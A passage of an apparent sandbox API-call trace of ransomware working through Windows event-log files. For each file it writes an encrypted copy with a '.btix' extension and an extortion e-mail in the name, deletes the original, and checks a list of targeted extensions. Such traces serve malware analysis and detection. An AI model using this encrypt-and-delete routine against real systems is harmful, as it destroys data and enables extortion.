(lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0049.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.457] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0049.457] CloseHandle (hObject=0x2e0) returned 1 [0049.457] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0049.458] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.458] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.458] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.458] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.458] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.458] GetLastError () returned 0x0 [0049.458] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.665] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.667] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.667] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x134, lpOverlapped=0x0) returned 1 [0049.667] SetEndOfFile (hFile=0x358) returned 1 [0049.667] CloseHandle (hObject=0x358) returned 1 [0049.669] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.669] SetEndOfFile (hFile=0x2e0) returned 1 [0049.670] CloseHandle (hObject=0x2e0) returned 1 [0049.670] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.671] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0049.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.671] lstrlenW (lpString=".doc") returned 4 [0049.671] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.671] lstrlenW (lpString=".docx") returned 5 [0049.671] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.671] lstrlenW (lpString=".pdf") returned 4 [0049.671] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.671] lstrlenW (lpString=".xls") returned 4 [0049.671] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.671] lstrlenW (lpString=".xlsx") returned 5 [0049.671] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.671] lstrlenW (lpString=".ppt") returned 4 [0049.671] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.671] lstrlenW (lpString=".zip") returned 4 [0049.672] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString=".rar") returned 4 [0049.672] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString=".bz2") returned 4 [0049.672] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString=".7z") returned 3 [0049.672] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.672] lstrlenW (lpString=".dbf") returned 4 [0049.672] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.672] lstrlenW (lpString=".1cd") returned 4 [0049.672] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.672] lstrlenW (lpString=".jpg") returned 4 [0049.672] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.672] lstrlenW (lpString=".doc") returned 4 [0049.672] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString=".docx") returned 5 [0049.672] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.672] lstrlenW (lpString=".pdf") returned 4 [0049.672] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString=".xls") returned 4 [0049.672] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString=".xlsx") returned 5 [0049.672] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.672] lstrlenW (lpString=".ppt") returned 4 [0049.672] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.672] lstrlenW (lpString=".zip") returned 4 [0049.672] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.672] lstrlenW (lpString=".rar") returned 4 [0049.672] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.673] lstrlenW (lpString=".bz2") returned 4 [0049.673] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.673] lstrlenW (lpString=".7z") returned 3 [0049.673] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.673] lstrlenW (lpString=".dbf") returned 4 [0049.673] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.673] lstrlenW (lpString=".1cd") returned 4 [0049.673] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0049.673] lstrlenW (lpString=".jpg") returned 4 [0049.673] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.673] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.673] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0049.673] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.673] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0049.673] CloseHandle (hObject=0x2e0) returned 1 [0049.673] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0049.673] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.673] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.674] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.674] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.674] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.674] GetLastError () returned 0x0 [0049.674] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.737] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.739] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.739] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x126, lpOverlapped=0x0) returned 1 [0049.739] SetEndOfFile (hFile=0x358) returned 1 [0049.739] CloseHandle (hObject=0x358) returned 1 [0049.740] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.740] SetEndOfFile (hFile=0x2e0) returned 1 [0049.741] CloseHandle (hObject=0x2e0) returned 1 [0049.742] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.742] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0049.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.742] lstrlenW (lpString=".doc") returned 4 [0049.742] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.742] lstrlenW (lpString=".docx") returned 5 [0049.742] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.742] lstrlenW (lpString=".pdf") returned 4 [0049.742] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.742] lstrlenW (lpString=".xls") returned 4 [0049.742] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.742] lstrlenW (lpString=".xlsx") returned 5 [0049.742] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.742] lstrlenW (lpString=".ppt") returned 4 [0049.742] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.742] lstrlenW (lpString=".zip") returned 4 [0049.743] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString=".rar") returned 4 [0049.743] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString=".bz2") returned 4 [0049.743] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString=".7z") returned 3 [0049.743] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.743] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.743] lstrlenW (lpString=".dbf") returned 4 [0049.743] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.743] lstrlenW (lpString=".1cd") returned 4 [0049.743] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.743] lstrlenW (lpString=".jpg") returned 4 [0049.743] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.743] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.743] lstrlenW (lpString=".doc") returned 4 [0049.743] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString=".docx") returned 5 [0049.743] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.743] lstrlenW (lpString=".pdf") returned 4 [0049.743] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString=".xls") returned 4 [0049.743] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.743] lstrlenW (lpString=".xlsx") returned 5 [0049.743] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.743] lstrlenW (lpString=".ppt") returned 4 [0049.743] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.744] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.744] lstrlenW (lpString=".zip") returned 4 [0049.744] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.744] lstrlenW (lpString=".rar") returned 4 [0049.744] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.744] lstrlenW (lpString=".bz2") returned 4 [0049.744] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.744] lstrlenW (lpString=".7z") returned 3 [0049.744] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.744] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.744] lstrlenW (lpString=".dbf") returned 4 [0049.744] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.744] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.744] lstrlenW (lpString=".1cd") returned 4 [0049.744] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.744] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0049.744] lstrlenW (lpString=".jpg") returned 4 [0049.744] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.744] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.744] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0049.744] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.753] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0049.753] CloseHandle (hObject=0x2e0) returned 1 [0049.753] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0049.753] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.753] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.754] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.754] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.754] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.754] GetLastError () returned 0x0 [0049.754] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.932] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.934] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.934] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x136, lpOverlapped=0x0) returned 1 [0049.934] SetEndOfFile (hFile=0x358) returned 1 [0049.934] CloseHandle (hObject=0x358) returned 1 [0049.936] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.936] SetEndOfFile (hFile=0x2e0) returned 1 [0049.937] CloseHandle (hObject=0x2e0) returned 1 [0049.937] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.937] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0050.046] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.046] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.046] lstrlenW (lpString=".doc") returned 4 [0050.046] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.046] lstrlenW (lpString=".docx") returned 5 [0050.046] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.046] lstrlenW (lpString=".pdf") returned 4 [0050.046] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString=".xls") returned 4 [0050.047] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString=".xlsx") returned 5 [0050.047] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.047] lstrlenW (lpString=".ppt") returned 4 [0050.047] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.047] lstrlenW (lpString=".zip") returned 4 [0050.047] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString=".rar") returned 4 [0050.047] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString=".bz2") returned 4 [0050.047] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString=".7z") returned 3 [0050.047] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.047] lstrlenW (lpString=".dbf") returned 4 [0050.047] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.047] lstrlenW (lpString=".1cd") returned 4 [0050.047] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.047] lstrlenW (lpString=".jpg") returned 4 [0050.047] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.047] lstrlenW (lpString=".doc") returned 4 [0050.047] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString=".docx") returned 5 [0050.047] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.047] lstrlenW (lpString=".pdf") returned 4 [0050.047] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.047] lstrlenW (lpString=".xls") returned 4 [0050.047] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.048] lstrlenW (lpString=".xlsx") returned 5 [0050.048] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.048] lstrlenW (lpString=".ppt") returned 4 [0050.048] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.048] lstrlenW (lpString=".zip") returned 4 [0050.048] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.048] lstrlenW (lpString=".rar") returned 4 [0050.048] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.048] lstrlenW (lpString=".bz2") returned 4 [0050.048] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.048] lstrlenW (lpString=".7z") returned 3 [0050.048] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.048] lstrlenW (lpString=".dbf") returned 4 [0050.048] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.048] lstrlenW (lpString=".1cd") returned 4 [0050.048] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0050.048] lstrlenW (lpString=".jpg") returned 4 [0050.048] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.048] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.263] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0050.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.337] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0050.337] CloseHandle (hObject=0x358) returned 1 [0050.337] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0050.337] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.337] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.337] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.337] SetFilePointerEx (in: 